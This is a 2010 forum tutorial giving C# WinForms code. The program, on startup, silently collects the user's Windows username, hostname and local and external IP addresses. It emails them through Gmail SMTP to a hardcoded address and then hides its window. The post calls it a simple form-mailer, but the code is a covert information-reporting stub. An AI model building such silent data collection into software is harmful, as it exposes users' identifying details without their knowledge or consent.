Jump to content

E-mail sender

- - - - -

  • Please log in to reply
No replies to this topic

#1
Diastro

Diastro

    Newbie

  • Members
  • Pip
  • 2 posts
Hey all!
Been new to the community, I'm trying to share my knowledge about some cool tricks I've learned in the past. Here's the first tutorial I'll be making for about sending a form's content by e-mail.

So to give you an idea, the application i'll be creating this tutorial with is simply a progress bar showing the percentage of the mail sending execution. In my case, i've created a Gmail address since i'll be using the Gmail smtp server. Also, keep in mind that i'll be showing you a very simple code that can be adapted to all your needs very easely (if you ever need help, you ask ^^).

First thing I did in my case was to create a simple form in which I put a Progress bar (called progressbar1).

Posted Image

Then, I got my code separated in 3 part : Form initialization, a method that sends the mail and the timer method. The way I designed my code goes as follow : during the initialization, I declare the progress bar properties, then I have a timer that waits a little amout of time (just to let the time to the form to load) and then the method that sends the e-mail gets call.

The reason for the timer is very simple. For some reason if I don't use the timer the form doesn't get initalize. Why ? No idea. So I basicly use the timer to make sure the form is loaded and then I call the method that send the e-mail.

First, the form initialization code:
public Form1()

        {

            InitializeComponent();

            progressBar1.Minimum = 0;

            progressBar1.Maximum = 100;

            progressBar1.Step = 25;        

            timer1.Interval = 500;

            timer1.Enabled = true;

        }


Second is the method that sends the e-mail:

private void Sender()

        {

                   // My e-mail content declaration (I wanted to send my ip address by mail

            IPGlobalProperties computerProperties = IPGlobalProperties.GetIPGlobalProperties();

            IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();

            IPGlobalStatistics ipstat = properties.GetIPv4GlobalStatistics();

            string Username = Environment.UserName;

            string ComputerName = computerProperties.HostName.ToUpper();

            string Local_IP = Dns.GetHostEntry(ComputerName).AddressList[0].ToString();

            string Ext_IP = GetExternalIp();



            //The FROM address

            string str_from_address = "xxxxxxxxx@gmail.com";


            //The Display Name

            string str_name = "IP SENDER v1.0";


            //The To address

            string str_to_address = "xxxxxxxt@gmail.com";


            MailMessage email_msg = new MailMessage();

            email_msg.From = new MailAddress(str_from_address, str_name);

            email_msg.Sender = new MailAddress(str_from_address, str_name);

            email_msg.ReplyTo = new MailAddress(str_from_address, str_name);

            email_msg.To.Add(str_to_address);

            

            //Subject of email

            email_msg.Subject = "IP - Username - Ext IP";


            // Here I basicly call the string I created at the top

            email_msg.Body = "Username : " + Username + Environment.NewLine + "IP : " + Local_IP + Environment.NewLine + "Ext IP : " + Ext_IP + Environment.NewLine+System.DateTime.Now;


            //Create an object for SmtpClient class

            SmtpClient mail_client = new SmtpClient();

            progressBar1.PerformStep();


            //Providing Credentials (Username & password)

            NetworkCredential network_cdr = new NetworkCredential();

            network_cdr.UserName = str_from_address;

            network_cdr.Password = "YourEmailPassword";

            progressBar1.PerformStep();

            mail_client.Credentials = network_cdr;


            //Specify the SMTP Port

            mail_client.Port = 587;

            progressBar1.PerformStep();


            //Specify the name/IP address of Host

            mail_client.Host = "smtp.gmail.com";


            //Uses Secure Sockets Layer(SSL) to encrypt the connection

            mail_client.EnableSsl = true;


            //Now Send the message

            mail_client.Send(email_msg);

            progressBar1.PerformStep();


            this.Visible = false;

            Form2 form2 = new Form2();

            form2.Show();

            }


And finally the timer's code (you, of course, have to add a timer component to your project:
  

      private void timer1_Tick(object sender, EventArgs e)

        {

            Sender();

            timer1.Enabled = false;

        }


You will see that in my case at the end I call an other form (I took the code from a project I was already working on. That been said, (and as I said earlyer) this code can be adapted in may ways to your needs. In my case I called the "Sending" method at the form initialization but you could use a button for example to send that e-mail.

Also for those wondering, in my code I actuallize the progress bar 4 time which can be seen by the :
 progressBar1.PerformStep(); 

In the end, you should be getting an e-mail looking like this one :
Posted Image

Also for those of you who wants to use my code, here's the GetExternalIp method I use to get the external IP
        public string GetExternalIp()

        {

            try

            {

                string whatIsMyIp = "http://www.whatismyip.com/automation/n09230945.asp";

                WebClient wc = new WebClient();

                UTF8Encoding utf8 = new UTF8Encoding();

                string requestHtml = "";


                requestHtml = utf8.GetString(wc.DownloadData(whatIsMyIp));


                IPAddress externalIp = null;


                externalIp = IPAddress.Parse(requestHtml);


                return externalIp.ToString();

            }

            catch

            {

                return "DISCONNECTED";

            }

        }


Hope you guys will enjoy, and if you have any question, don't hesitate!

David

Edited by Diastro, 02 August 2010 - 07:52 PM.





1 user(s) are reading this topic

0 members, 1 guests, 0 anonymous users